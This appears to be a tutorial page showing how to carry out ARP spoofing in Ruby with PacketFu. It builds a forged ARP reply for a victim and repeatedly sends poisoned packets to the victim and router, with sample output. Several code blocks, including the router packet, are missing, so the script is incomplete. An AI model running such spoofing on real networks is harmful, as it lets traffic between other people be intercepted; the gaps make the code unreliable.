ARP Spoofing
Scenario
We have 3 machines in this scenario as shown below.
Here the list of IP and MAC addresses of each of theme in the following table[^1]
To know our/attacker’s interface information
returns a hash
Building victim’s ARP packet
# Build Ethernet header
arp_packet_victim = PacketFu::ARPPacket.new
arp_packet_victim.eth_saddr = "3C:77:E6:68:66:E9" # our MAC address
arp_packet_victim.eth_daddr = "00:0C:29:38:1D:61" # the victim's MAC address
# Build ARP Packet
arp_packet_victim.arp_saddr_mac = "3C:77:E6:68:66:E9" # our MAC address
arp_packet_victim.arp_daddr_mac = "00:0C:29:38:1D:61" # the victim's MAC address
arp_packet_victim.arp_daddr_ip = "192.168.0.21" # the victim's IP
arp_packet_victim.arp_opcode = 2 # arp code 2 == ARP reply
Building router packet
Run ARP Spoofing attack
# Send our packet through the wire
while true
sleep 1
puts "[+] Sending ARP packet to victim: #{arp_packet_victim.arp_daddr_ip}"
arp_packet_victim.to_w(info[:iface])
puts "[+] Sending ARP packet to router: #{arp_packet_router.arp_daddr_ip}"
arp_packet_router.to_w(info[:iface])
Source[^2]
Returns, time to wiresharking ;)
[+] Sending ARP packet to victim: 192.168.0.21
[+] Sending ARP packet to router: 192.168.0.1
.
.
.
[+] Sending ARP packet to victim: 192.168.0.21
[+] Sending ARP packet to router: 192.168.0.1
[+] Sending ARP packet to victim: 192.168.0.21
[+] Sending ARP packet to router: 192.168.0.1
[^1]: Create table the easy way -